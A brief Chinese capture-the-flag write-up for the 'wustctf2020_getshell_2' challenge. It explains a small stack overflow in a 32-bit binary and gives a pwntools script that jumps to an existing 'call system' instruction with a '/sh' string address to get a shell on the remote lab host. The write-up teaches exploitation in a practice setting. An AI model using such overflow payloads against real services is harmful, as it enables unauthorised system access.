wustctf2020_getshell_2

check
file
32位,开nx

main函数调用这个
file

好家伙,真干净

开始还没注意只能溢出个12个字节,也就是三个p32(),我还去调用read,把 '/bin/sh\x00' ,找个bss地址写进去再调用。

后来明白了,直接用它给的字符串末尾这个'/sh',这个地址也能看得出是下面这个 0x08048673-0x3
file

再然后,如果直接用plt地址去调用函数,需要返回地址,这就需要16个字节,长度不够了。学到一手,直接用它的 call 调用是不需要返回地址的,这就刚好了。

from pwn import *

p=remote('node4.buuoj.cn',29080)
#p=process('./pwn')
call_system=0x08048529
sh=0x08048670

payload1='a'*(0x18+4)+p32(call_system)+p32(sh)
p.send(payload1)
p.interactive()

file

发表评论

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据